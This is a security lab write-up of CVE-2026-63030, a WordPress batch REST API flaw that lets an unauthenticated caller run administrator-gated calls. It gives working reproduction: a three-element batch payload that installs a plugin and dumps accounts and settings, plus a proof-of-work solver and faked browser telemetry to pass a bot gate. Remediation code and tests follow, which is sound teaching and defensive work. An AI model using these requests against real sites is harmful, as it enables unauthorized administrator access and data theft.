BugForge — 2026.07.31

WordMess: Unauthenticated Privilege Bypass via Batch API Index Desynchronization (CVE-2026-63030)

BugForge Batch API Authorization Index Desynchronization medium

Executive Summary

CVE-2026-63030 is a route confusion flaw in the WordPress Core REST API batch processor, disclosed 2026-07-17 and added to the CISA Known Exploited Vulnerabilities catalog four days later. The batch endpoint decides authorization for its sub-requests in a pass separate from the pass that dispatches them, and the two passes are joined only by array position. A sub-request the server rejects is dropped from the first pass but still occupies its slot in the second, so every element after it is dispatched under a verdict belonging to its neighbour.

WordMess is a WordPress parody CMS on Node/Express carrying a vulnerable implementation of that batch endpoint at POST /wp-json/batch/v1. This engagement drove the defect against it:

ID Title Severity CVSS CWE Endpoint
F1 CVE-2026-63030: unauthenticated privilege bypass via authorization index desynchronization Critical 9.1 CWE-436, CWE-863 POST /wp-json/batch/v1

A three element array carrying a malformed path first, an administrator gated call second, and a public call third causes the administrator gated call to execute while the public call is denied in its place. That reached arbitrary plugin installation and activation, the full account list with roles, and site configuration. No application account is involved: the only credential on the exploit request is a bot gate clearance cookie any client can issue itself in two requests.


Objective

Independently re-solve a BugForge medium difficulty lab and recover the flag, working black box against a live instance with no source access.


The Vulnerability: CVE-2026-63030

The defect was reconstructed black box during testing and identified as CVE-2026-63030 afterward. The mapping below was verified against public sources; the divergence from upstream is recorded under F1.

   
CVE CVE-2026-63030, WordPress Core REST API batch route confusion
CWE CWE-436, Interpretation Conflict
Advisory GHSA-ff9f-jf42-662q, published 2026-07-17
Affected WordPress 6.9.0 to 6.9.4 and 7.0.0 to 7.0.1. Trackers listing 6.8.x refer to the companion SQL injection, which has a wider range; the batch route confusion is 6.9 and 7.0 only
Fixed in 6.9.5, 7.0.2 and 7.1 beta2, shipped with forced automatic updates
Severity 9.8 Critical from WPScan, the CNA (AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H); 7.5 High from CISA-ADP (AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N)
Exploitation Added to the CISA Known Exploited Vulnerabilities catalog on 2026-07-21
Credited to Adam Kues, Assetnote / Searchlight Cyber

Rapid7’s analysis describes the root cause as follows:

The batch API performs validation and execution in separate loops. When wp_parse_url() fails on a sub-request path, the error is pushed to the validation array but not the matches array. This desynchronizes the arrays, causing every subsequent request to dispatch under the wrong handler.

The GHSA advisory itself publishes no code level breakdown and no CVSS vector. It describes the defect only in summary, as route confusion in the REST batch endpoint that leads to remote code execution when combined with the companion SQL injection, and covers the two as one chain. The detailed sentences above come from third party analysis, not from the advisory.

What the desynchronization looks like

The handler keeps two lists: the requests the caller submitted, and the verdicts computed for them. Both are addressed by the same counter. That works only for as long as the two lists stay the same length.

Aligned. Every request reads its own verdict and the gate holds:

  index      0                      1
  request    GET /wp/v2/posts       POST /wp/v2/plugins
  verdict    allowed                denied
  response   200                    403

Shifted. A rejected element sits at index 0. It never reaches the verdict
pass, so the verdict list is one shorter than the request list, and every
later request reads the verdict belonging to the request after it:

  index      0                      1                       2
  request    POST ///               POST /wp/v2/plugins     GET /wp/v2/posts
  verdict    (dropped)              [0] denied              [1] allowed
  reads      n/a                    verdict[1] = allowed    verdict[2] = undefined
  response   400                    201 + flag              403

The privileged call at index 1 executes on the public route’s allowed, and the public route at index 2 reads off the end of the list and is denied in its place. Both halves of that trade are visible in one response.

The general shape, beyond WordPress: any system that keeps two lists in step by addressing both with the same counter breaks the moment an input is added to one list and not the other.

What the defect requires from an attacker

The bug is positional, so exploiting it is a matter of assembling one array with three roles filled in the right order:

  1. A rejectable item, placed before the target. Something the server refuses early enough to drop it from the validating pass. A malformed path is the canonical choice.
  2. The privileged item, the administrator gated call that should be denied.
  3. A donor item, placed after the target: any route the caller is genuinely permitted to reach, whose “allowed” verdict gets handed backward.

The response must also return per-item statuses, or there is no way to read verdicts positionally and no way to confirm the shift.

Everything that follows is the work of finding those three roles on this target and firing them in one request.

Why it matters more in production

Here the ceiling is administrator gated read and write access. In the wild, CVE-2026-63030 is only the first half of the chain published as wp2shell, and the second half turns on the same missing step rather than on anything smuggled in.

Route confusion delivers the sub-request to the posts handler without it being validated against the posts schema. The legitimate author__not_in parameter therefore arrives as a raw attacker controlled scalar instead of the integer array the schema would have enforced. WP_Query sanitizes that parameter only when it is already array shaped, so the scalar survives uncleaned and reaches the SQL query. That is CVE-2026-60137 (GHSA-fpp7-x2x2-2mjf), and from there the chain reaches code execution. No parameter is injected that the endpoint did not already accept; a known parameter simply arrives unvalidated.

The chain needs no authentication and no plugins on a default install, which is what drove the emergency release and the forced auto-update.


Scope / Initial Access

# Target Application
URL: https://lab-1785515852853-q9sdpd.labs-app.bugforge.io/

# Auth details
Open registration: POST /wp-login.php?action=register (user_login, user_email, pwd)
Registered account: d4rk / Passw0rd!23  ->  user id 8, role "subscriber"
Session:  wordmess_session cookie (express-session signed, "s%3A" prefix)
REST:     cookie authenticated calls additionally require X-WP-Nonce,
          exposed in the /wp-admin HTML as window.wpApiSettings
Edge:     Forgeflare clearance cookie required on /wp-json* and /wp-admin*

An account was registered to establish an authenticated baseline, but it is not part of the confirmed attack path. /wp/v2/users, /wp/v2/settings and /wp/v2/plugins return 401 rest_forbidden both anonymously and with a valid subscriber session, so those routes are gated on role rather than on authentication. The exploit request in F1 carries no wordmess_session cookie at all.


Reconnaissance: Locating the Three Roles

Recon had two jobs: get past the edge gate that fronts the REST surface, then establish that this target exposes the ingredients the defect needs.

The edge gate (the precondition).

  1. Forgeflare states its own failure conditions. A 403 from the gate returns JSON with a reasons[] array. Bare curl returns ["bot-ua"]; adding only a browser User-Agent returns ["no-accept-language","no-sec-fetch"]; a full browser header set returns 200. Three requests converge on a passing request envelope with no guessing.
  2. Sensitive paths get a second tier. /wp-json* and /wp-admin* return an interstitial page embedding <script id="ff-data"> with {"token","n","difficulty":16,"to","ray"}. Clearing it requires a proof of work, sha256(n + ":" + nonce) with at least 16 leading zero bits, posted to /forgeflare/verify. The resulting forgeflare_clearance cookie carries Max-Age=60, so any tooling has to re-clear roughly every minute or it silently degrades to 403.
  3. The gate inspects envelope, not payload. Ten attack strings across five injection classes, sent in a query parameter on a benign path, all returned 200 with no block header. Nothing about this engagement required obfuscating a payload.

The vulnerable surface.

  1. The batch endpoint is present. GET /wp-json lists namespaces wp/v2 and batch/v1. Four collections (posts, pages, comments, media) answer 200 anonymously; users, settings and plugins answer 401. The public collections are the donor candidates and the 401 routes are the targets.
  2. The contract is self documenting, and the response is per item. OPTIONS /wp-json/batch/v1 returns the sub-request schema: an array of at most 25 items, each accepting method (GET, POST, PUT, PATCH, DELETE), path, body and arbitrary headers. A benign single item batch returns {"responses":[{"status":200,"body":[...]}]}, confirming verdicts can be read by position.
  3. A rejectable item class exists. Probing 19 spellings of /wp/v2/users through the batch endpoint returned three separate verdicts: rest_forbidden for resolvable but gated routes, rest_no_route for unknown routes, and rest_invalid_path for paths containing //, .., ; or an absolute URL. That third class is the rejected item the defect needs, and "///" is the shortest member of it. Only rest_invalid_path was used as the rejected element here; whether a rest_no_route element also drops out of the verdict pass was not tested, and it is worth checking first on a target where malformed paths are sanitized.

OPTIONS is also ungated on routes whose other verbs are not, returning the full argument schema to an anonymous caller. That is how the hook parameter on POST /wp/v2/plugins was discovered. It is a recon convenience rather than a finding.


Application Architecture

Component Detail
Backend Node/Express. Unmatched routes return Express’s Cannot GET /path with Content-Security-Policy: default-src 'none'
Frontend Server rendered WordPress style admin at /wp-admin; window.wpApiSettings exposes the REST root and nonce
Auth wordmess_session cookie (express-session signed value); cookie authenticated REST calls also require X-WP-Nonce
Edge Forgeflare bot gate: header envelope check plus a proof of work interstitial on sensitive paths, Forgeflare-Ray header on blocks
Database Not observable from the client

API Surface

Endpoint Method Anonymous Subscriber Role in the exploit
/wp/v2/posts GET, POST 200 200 Donor
/wp/v2/pages GET 200 200 Donor candidate
/wp/v2/comments GET, POST 200 200 Donor candidate
/wp/v2/media GET 200 200 Donor candidate
/wp/v2/users GET 401 401 Target
/wp/v2/users/me GET 401 200 Returns id 8, subscriber
/wp/v2/settings GET, POST, PUT 401 401 Target
/wp/v2/plugins GET, POST 401 401 Target; POST takes slug, status, hook
/batch/v1 POST 200 200 The vulnerable dispatcher

The Method column lists the verbs the route index registers; the status columns record the response to GET (or to POST for /batch/v1). Anonymous creation through the POST verbs registered on posts and comments was not exercised.

Known Users

Recovered through F1 (GET /wp/v2/users as the middle element of the batch).

Username ID Role
admin 1 administrator
edith 2 editor
aaron 3 author
cora 4 contributor
sam 5 subscriber
reader42 6 subscriber
test 7 subscriber
d4rk 8 subscriber (registered during testing)

Attack Chain Visualization

 ┌────────────────────────┐    ┌────────────────────────┐    ┌────────────────────────┐
 │ GET /forgeflare/       │    │ Solve sha256(n+":"+    │    │ POST /forgeflare/      │
 │ challenge?to=/wp-json/ │    │ nonce) to 16 leading   │    │ verify {token, nonce,  │
 │ batch/v1  ->  ff-data  │───▶│ zero bits: ~65k hashes │───▶│ hp:"", telemetry:{…}}  │
 │ {token, n, difficulty} │    │ expected, under 0.1 s  │    │ -> forgeflare_clearance│
 └────────────────────────┘    └────────────────────────┘    └────────────────────────┘
                                                                          │ Max-Age=60
                                                                          ▼
 ┌────────────────────────┐    ┌────────────────────────┐    ┌────────────────────────┐
 │ [1] 201: plugin        │    │ Read every sub-        │    │ POST /wp-json/batch/v1 │
 │     installed, active, │    │ response by POSITION,  │    │ ["///", POST /wp/v2/   │
 │     flag in body       │◀───│ not just the one you   │◀───│ plugins, GET /wp/v2/   │
 │ [2] 403 on a PUBLIC    │    │ targeted               │    │ posts]   no account,   │
 │     route: the shift   │    │                        │    │ clearance cookie only  │
 └────────────────────────┘    └────────────────────────┘    └────────────────────────┘

Findings

F1: CVE-2026-63030, unauthenticated privilege bypass via authorization index desynchronization

Severity: Critical CVSS v3.1: 9.1 (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N) CWE: CWE-436 (Interpretation Conflict), CWE-863 (Incorrect Authorization) Endpoint: POST /wp-json/batch/v1 Authentication required: No

This score is derived from what was demonstrated on this target, not inherited from the CVE record. C:H covers the full account list with roles and the site settings; I:H covers the plugin installed and left active, confirmed persisted in a later request; A:N because no availability impact was observed. For reference, the two published scores bracket this one: WPScan’s 9.8 adds A:H and scores the full chain through to code execution, while CISA-ADP’s 7.5 scores disclosure alone at I:N, which understates a finding that also writes.

Description

Sub-requests that reach the dispatcher on their own merits run anonymously against a small allowed list, so an administrator gated route sent as an ordinary batch element returns 403 rest_forbidden. Note the status differs by route into the same resource: these routes answer 401 when called directly and 403 as batch elements, which reflects the dispatcher running sub-requests without the caller’s session rather than any difference in policy. The gate is real and it works, one request at a time.

It stops working when the array also contains an element whose path the dispatcher rejects as malformed. With {"method":"POST","path":"///"} ahead of an administrator gated sub-request, the gated sub-request executes and returns 201, while the public GET /wp/v2/posts that follows it returns 403. A public route being denied is the visible other half of the same shift.

Knowing a shift exists is not enough to build the payload. Which way it moves and how far decide where the privileged call has to sit, and both are measurable. Eight controls, one variable each, were run against this target, and all eight matched the predicted outcome:

Control Batch contents Observed
A [plugins] 403
B [posts, plugins], no malformed element 200, 403
C [bad, plugins], nothing after the target 400, 403
D [plugins, bad, posts], malformed element after the target 403, 400, 403
E [bad, plugins, posts] 400, 201 with flag, 403
F [bad, bad, plugins, posts, posts] 201 with flag, shift of two
G [bad, users, posts] 200, full account list with roles
H [bad, settings, posts] 200, site configuration

Read together, those controls fix the payload’s shape rather than merely confirming the bug. D moves the malformed element after the target and the bypass disappears, so the shift runs forward only and the rejected element has to lead. C removes the trailing donor and the target is denied again, so the borrowed verdict has to come from a real request placed behind the target. F adds a second rejected element and the bypass still fires, so the offset equals the count of preceding rejected elements rather than being fixed at one. A and B rule out the alternatives, that the route was public all along or that any multi element array relaxes the gate.

Direction forward, magnitude one per rejected element, donor required behind the target. That is the whole recipe, and it is the three element array in Step 3.

Inferred mechanism, not observed. No source was available, so the following is a reconstruction consistent with all eight controls rather than a description of the running code. Verdicts appear to be computed over an array from which the malformed entries have been removed, then read back using each sub-request’s original index:

// Inferred from black box behaviour; source not available.
const valid = requests.filter(r => isValidPath(r.path));  // length N-k
const perms = valid.map(r => checkPermission(r));         // indices 0..N-k-1
requests.forEach((r, i) => {
  if (!isValidPath(r.path)) return respond(400, 'rest_invalid_path');
  if (!perms[i]) return respond(403, 'rest_forbidden');   // original index
                                                          // into filtered array
  dispatch(r);
});

Controls G and H confirm the technique reaches any administrator gated route in the table, for both reads and writes, by substituting the middle element.

How this implementation differs from upstream

Both are the same defect, an error recorded in one array and not its sibling, leaving position as an untrustworthy join key. The emphasis differs on one point.

  Upstream (WordPress Core) Observed here (WordMess)
What desynchronizes Validation array against matches array Same shape, verdicts against requests
What shifts The route match, meaning the handler and its permission callback The permission verdict only
Evidence Advisory and third party analysis The plugins handler ran correctly, creating a plugin with the exact slug submitted, so the handler resolved was the right one
Trigger wp_parse_url() failure on a sub-request path Any path the dispatcher answers with rest_invalid_path

WordMess is a re-implementation rather than WordPress Core, so its internals are not expected to match line for line, and no claim is made here about which arrays the target actually keeps.

Impact

Unauthenticated privilege escalation to administrator gated functionality: arbitrary plugin installation and activation, plus disclosure of the full account list with roles and of site configuration including admin_email and default_role.

Reproduction

Step 1: Request a Forgeflare challenge for the batch path

GET /forgeflare/challenge?to=%2Fwp-json%2Fbatch%2Fv1 HTTP/1.1
Host: lab-1785515852853-q9sdpd.labs-app.bugforge.io
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:128.0) Gecko/20100101 Firefox/128.0
Accept-Language: en-US,en;q=0.5
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: none

Response: 200 with an interstitial page containing <script id="ff-data" type="application/json">{"token":"2a50ab48648d170305aa3c99.16.1785517943772.9b7586e8a666acfa","n":"2a50ab48648d170305aa3c99","difficulty":16,"to":"/wp-json/batch/v1","ray":"d7a5bf8c099ca714"}</script>. The challenge string and required difficulty are supplied by the server in the page body.

Step 2: Solve the proof of work and claim clearance

Find a nonce satisfying the declared difficulty:

import hashlib
n = "2a50ab48648d170305aa3c99"
nonce = 0
while True:
    h = hashlib.sha256(f"{n}:{nonce}".encode()).digest()
    if int.from_bytes(h[:4], "big") >> 16 == 0:   # 16 leading zero bits
        break
    nonce += 1
print(nonce)   # 6201 for this challenge, 6,202 hashes

Sixteen bits is 65,536 hashes expected per challenge, and each challenge draws its own luck: this one landed at 6,202, while a separately measured run took 54,762 hashes in 0.053 seconds single threaded. Either way the tier costs a fraction of a second.

POST /forgeflare/verify HTTP/1.1
Host: lab-1785515852853-q9sdpd.labs-app.bugforge.io
Content-Type: application/json

{"token": "2a50ab48648d170305aa3c99.16.1785517943772.9b7586e8a666acfa",
 "nonce": 6201, "to": "/wp-json/batch/v1", "hp": "",
 "telemetry": {"mouseMoves": 42, "clicks": 3, "keys": 5, "scrolls": 2,
               "dwellMs": 4200, "webdriver": false, "plugins": 5,
               "languages": 2, "screen": 1920}}

Response:

HTTP/1.1 200 OK
Set-Cookie: forgeflare_clearance=v1.1785517883943.ef5988a00011c601.dd91ab1978522104508de34a;
            Max-Age=60; Path=/; Expires=Fri, 31 Jul 2026 17:11:23 GMT; HttpOnly; SameSite=Lax

{"cleared":true,"to":"/wp-json/batch/v1","ttl_ms":60000}

The telemetry values above are fabricated and are accepted as sent; the honeypot field hp must stay empty. The numbers embedded in the token and the cookie are expiry deadlines rather than issue times, which is why the cookie’s 1785517883943 (17:11:23, matching its own Expires) reads as earlier than the token’s 1785517943772 (17:12:23) on an exchange captured at 17:10:23.

Step 3: Fire the three roles in one array

POST /wp-json/batch/v1 HTTP/1.1
Host: lab-1785515852853-q9sdpd.labs-app.bugforge.io
Content-Type: application/json
Accept: application/json
Cookie: forgeflare_clearance=v1.1785517883943.ef5988a00011c601.dd91ab1978522104508de34a

{"requests":[{"method":"POST","path":"///"},
             {"method":"POST","path":"/wp/v2/plugins","body":{"slug":"pwn-poc","hook":"init"}},
             {"method":"GET","path":"/wp/v2/posts"}]}

Response:

{"responses":[
 {"status":400,"error":{"code":"rest_invalid_path","message":"Malformed route path."}},
 {"status":201,"body":{"plugin":"pwn-poc","installed":true,"status":"active","hook":"",
                       "flag":"bug{l2OV8HnnGJQA1d3wl8rXemBH4JNnCmOz}"}},
 {"status":403,"error":{"code":"rest_forbidden","message":"Sorry, you are not allowed to do that."}}
]}

The request carries only forgeflare_clearance. Sub-response 2 shows the plugin created and activated; sub-response 3 shows the public posts collection denied. Note that hook was submitted as "init" and returned as "", so the submitted hook name was not stored on create.

Step 4: Confirm the reach beyond plugin installation

Swap the middle element for a read against another gated route:

{"requests":[{"method":"POST","path":"///"},
             {"method":"GET","path":"/wp/v2/users"},
             {"method":"GET","path":"/wp/v2/posts"}]}

Response: sub-response 2 returns 200 with all eight accounts including {"id":1,"slug":"admin","name":"Site Admin","role":"administrator"}. Substituting /wp/v2/settings returns admin_email, default_role, users_can_register, active_plugins and siteurl. A separate read of /wp/v2/plugins in a later clearance window showed the injected slugs still present with "status":"active", confirming a persisted state change rather than an echoed response.

POST and PUT on /wp/v2/settings are reachable the same way and were deliberately not exercised, as they would mutate site configuration beyond what the objective required.

The hook parameter is the lab’s nod at the second stage of the production chain. A published post on the target advertises plugins as wiring named hooks rather than running arbitrary code, and the seeded plugins carry real WordPress filter names (capital_P_dangit, wptexturize, convert_smilies, make_clickable). Since the submitted value was not stored, whether a stored hook name reaches a callable lookup was not tested.

Remediation

Upstream fixed this in WordPress 6.9.5 and 7.0.2, shipped with forced automatic updates. Any installation in the affected range should be patched rather than mitigated. For a re-implementation exhibiting the same defect:

Fix 1 is the remedy. Fix 2 is hardening and does not stand alone. Applying only Fix 2 to the vulnerable code leaves control E working: the privileged sub-request at index 1 reads perms[1], which holds a genuine true donated by the public route, so a stricter comparison against a value that is already true changes nothing. Fix 2 closes only the read-past-the-end case at the tail of the array. Ship Fix 1.

Fix 1: Keep the verdict with the request rather than in a parallel array

// BEFORE (Vulnerable): the inferred shape from F1, not the target's source.
// Two arrays of different lengths joined by index
const valid = requests.filter(r => isValidPath(r.path));
const perms = valid.map(r => checkPermission(r));
requests.forEach((r, i) => {
  if (!isValidPath(r.path)) return respond(400, 'rest_invalid_path');
  if (!perms[i]) return respond(403, 'rest_forbidden');
  dispatch(r);
});

// AFTER (Secure): one pass, verdict carried on the request object
requests.forEach(r => {
  if (!isValidPath(r.path)) return respond(400, 'rest_invalid_path');
  const route = resolveRoute(r.path, r.method);
  if (!route) return respond(404, 'rest_no_route');
  if (checkPermission(r, route) !== true) return respond(403, 'rest_forbidden');
  dispatch(r, route);
});

If a two pass structure has to stay, preserve positions by writing a placeholder for every rejected entry so the arrays never differ in length:

const perms = requests.map(r => isValidPath(r.path) ? checkPermission(r) : null);

Fix 2 (defense in depth, not a substitute for Fix 1): Fail closed on the permission check

// BEFORE: a missing verdict reads as falsy by accident
if (!perms[i]) return respond(403, 'rest_forbidden');

// AFTER: only an explicit allow proceeds
if (perms[i] !== true) return respond(403, 'rest_forbidden');

This does not address the borrowed verdict, which is a real true. It addresses the other end of the same array: the observed undefined at the tail happened to be falsy, so the defect denied there by luck, and a future refactor returning an object rather than a boolean would turn that same read into a permit. Worth having, worthless alone.

Additional recommendations:

  • Resolve the route and its permission callback together, and dispatch using that same resolved pair, so a request can never execute under another request’s decision.
  • Treat every sub-request as a full request: apply the same permission callback the direct route would apply, under the same identity, rather than a separate allowed list maintained by the dispatcher.
  • Add a regression test that submits a mixed validity array and asserts that a known public sub-request placed after a rejected one still returns 200. That single assertion catches this whole class.
  • Do not rely on the edge gate as a compensating control. Clearance is self service, so it delays automation by fractions of a second and gates nothing.

OWASP Top 10 Coverage

  • A06:2021 Vulnerable and Outdated Components: the target carries a vulnerable implementation of CVE-2026-63030, a defect patched in supported WordPress releases and currently exploited in the wild against installs still in the affected range.
  • A01:2021 Broken Access Control: administrator gated routes were reached anonymously through the batch dispatcher, returning the full account list, site configuration, and a persisted plugin installation.
  • A04:2021 Insecure Design: authorization is evaluated in a pass separate from execution and the two are joined by array position, so the design depends on both passes always producing arrays of equal length.
  • A05:2021 Security Misconfiguration: the edge gate accepts self reported browser telemetry as evidence of a human, and OPTIONS returns argument schemas for routes whose other verbs are denied.

Tools Used

Tool Purpose
Caido Intercepting proxy, request replay, and the saved request history used for evidence capture
curl Envelope probing of the edge gate, and the unauthenticated exploit request with a fresh cookie jar
Python 3 (hashlib) Proof of work solver and the driver that sent batch arrays and read sub-responses by position

References


Failed Approaches

Approach Result Why It Failed
Send gated routes as ordinary batch elements, expecting the dispatcher to skip the permission layer All returned 403 rest_forbidden Batch sub-requests run anonymously against a default deny list of the four public collections. One element at a time, the batch path is more restrictive than the front door, not less
Path parsing disagreement between the batch router and the real router, 19 spellings of /wp/v2/users Three verdict classes, none granting access The dispatcher normalizes the path (strips /wp-json, trims, forces a leading slash, drops the query) then matches exactly, and permission binds to the resolved route. The run was not wasted: it produced the rest_invalid_path class the exploit needs
Attacker supplied sub-request headers (X-Forwarded-For: 127.0.0.1, X-WP-Internal) 403 unchanged The headers field is caller controlled but nothing downstream makes a trust decision from it
Verb asymmetric access control on POST /wp/v2/plugins, probed with an empty body 400 rest_invalid_param: missing required param: slug while every sibling returned 403 A false positive. Resending with a schema valid body returned 403: parameter validation runs before the permission check, so the 400 meant the check had not been reached, not that it had passed
Unpublished content through the status parameter, in the query and in the sub-request body Same three published posts every time Forced server side for unprivileged callers. The control (body: {"post":1} filtering comments correctly) proved body parameters do reach the handler, so this was a real negative rather than a broken test
Hidden route discovery, 316 paths across 7 namespaces using the batch endpoint as a fast probe Non 404 set matched the public route index exactly There are no unlisted routes; the index is complete
Treat Forgeflare as a signature inspecting WAF, 10 attack strings across five injection classes All returned 200 with no block The gate inspects the request envelope only and never reads the payload
Malformed paths tested in isolation as a bypass in their own right 400 rest_invalid_path, nothing further The defect is positional. A rejected element is inert on its own and only matters as the first of three roles in one array, which is why the two halves sat in the notes for hours without being combined

Tags: #webapp #cve-2026-63030 #cwe-436 #broken-access-control #batch-api #wordpress #bugforge Document Version: 2.0 Last Updated: 2026-07-31

#cve-2026-63030 #broken-access-control #batch-api #wordpress #rest-api #cwe-436 #bugforge